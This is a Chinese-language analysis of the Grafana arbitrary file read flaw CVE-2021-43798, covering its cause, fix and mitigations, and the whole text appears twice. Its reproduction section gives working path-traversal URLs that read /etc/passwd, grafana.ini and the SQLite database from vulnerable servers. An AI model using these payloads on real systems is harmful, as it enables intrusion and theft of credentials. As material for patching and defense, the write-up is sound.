Grafana 任意文件读取漏洞分析(CVE-2021-43798 )
字数 959 2025-08-07 08:22:00

Grafana 任意文件读取漏洞分析(CVE-2021-43798)

漏洞概述

CVE-2021-43798是Grafana中存在的一个任意文件读取漏洞,影响版本为8.0.0-beta1到8.3.0。攻击者可以通过构造特殊的URL路径,读取服务器上的任意文件,包括但不限于配置文件、数据库文件、敏感信息等。

影响版本

  • Grafana 8.0.0-beta1 至 8.3.0

漏洞原理

该漏洞存在于Grafana的插件系统中,特别是插件静态资源加载功能。Grafana允许通过HTTP请求访问插件目录中的静态资源,但由于路径验证不严格,攻击者可以利用目录遍历技术访问系统上的任意文件。

漏洞复现

环境搭建

  1. 下载受影响版本的Grafana(如8.2.0)
  2. 安装并启动Grafana服务

漏洞利用

攻击者可以构造如下URL来读取任意文件:

http://target:3000/public/plugins/<plugin-name>/../../../../../../../../path/to/target/file

其中:

  • <plugin-name>可以是任何已安装的插件名称
  • 路径中的../用于目录遍历

示例攻击

  1. 读取/etc/passwd文件:
http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
  1. 读取Grafana配置文件:
http://target:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini
  1. 读取数据库文件(如果使用SQLite):
http://target:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db

漏洞修复

官方修复

Grafana在8.3.1版本中修复了此漏洞,主要修复措施包括:

  1. 对插件静态资源请求进行严格的路径验证
  2. 防止目录遍历攻击

临时缓解措施

如果无法立即升级,可以采取以下措施:

  1. 使用反向代理或WAF过滤包含../的请求
  2. 限制对/public/plugins/路径的访问
  3. 确保Grafana运行在最小权限环境下

深入分析

漏洞代码分析

漏洞主要存在于pkg/api/plugins.go文件中,处理插件静态资源请求的函数没有正确验证请求路径:

func (hs *HTTPServer) pluginAssets(c *models.ReqContext) {
    // ...
    requestedFile := filepath.Clean(web.Params(c.Req)["*"])
    pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
    // ...
}

问题在于filepath.Clean不能完全防止目录遍历攻击,攻击者仍然可以通过构造特殊路径绕过限制。

攻击面扩展

除了读取文件外,该漏洞还可能与其他漏洞结合使用:

  1. 读取配置文件获取数据库凭据
  2. 读取源代码寻找其他漏洞
  3. 结合RCE漏洞实现完整攻击链

防御建议

  1. 及时升级到Grafana 8.3.1或更高版本
  2. 定期审计系统上的插件
  3. 实施最小权限原则运行Grafana
  4. 监控和记录对插件静态资源的访问

参考链接

  • Grafana官方安全公告
  • CVE-2021-43798详细描述
  • 漏洞修复commit记录
Grafana 任意文件读取漏洞分析(CVE-2021-43798) 漏洞概述 CVE-2021-43798是Grafana中存在的一个任意文件读取漏洞,影响版本为8.0.0-beta1到8.3.0。攻击者可以通过构造特殊的URL路径,读取服务器上的任意文件,包括但不限于配置文件、数据库文件、敏感信息等。 影响版本 Grafana 8.0.0-beta1 至 8.3.0 漏洞原理 该漏洞存在于Grafana的插件系统中,特别是插件静态资源加载功能。Grafana允许通过HTTP请求访问插件目录中的静态资源,但由于路径验证不严格,攻击者可以利用目录遍历技术访问系统上的任意文件。 漏洞复现 环境搭建 下载受影响版本的Grafana(如8.2.0) 安装并启动Grafana服务 漏洞利用 攻击者可以构造如下URL来读取任意文件: 其中: <plugin-name> 可以是任何已安装的插件名称 路径中的 ../ 用于目录遍历 示例攻击 读取/etc/passwd文件: 读取Grafana配置文件: 读取数据库文件(如果使用SQLite): 漏洞修复 官方修复 Grafana在8.3.1版本中修复了此漏洞,主要修复措施包括: 对插件静态资源请求进行严格的路径验证 防止目录遍历攻击 临时缓解措施 如果无法立即升级,可以采取以下措施: 使用反向代理或WAF过滤包含 ../ 的请求 限制对 /public/plugins/ 路径的访问 确保Grafana运行在最小权限环境下 深入分析 漏洞代码分析 漏洞主要存在于 pkg/api/plugins.go 文件中,处理插件静态资源请求的函数没有正确验证请求路径: 问题在于 filepath.Clean 不能完全防止目录遍历攻击,攻击者仍然可以通过构造特殊路径绕过限制。 攻击面扩展 除了读取文件外,该漏洞还可能与其他漏洞结合使用: 读取配置文件获取数据库凭据 读取源代码寻找其他漏洞 结合RCE漏洞实现完整攻击链 防御建议 及时升级到Grafana 8.3.1或更高版本 定期审计系统上的插件 实施最小权限原则运行Grafana 监控和记录对插件静态资源的访问 参考链接 Grafana官方安全公告 CVE-2021-43798详细描述 漏洞修复commit记录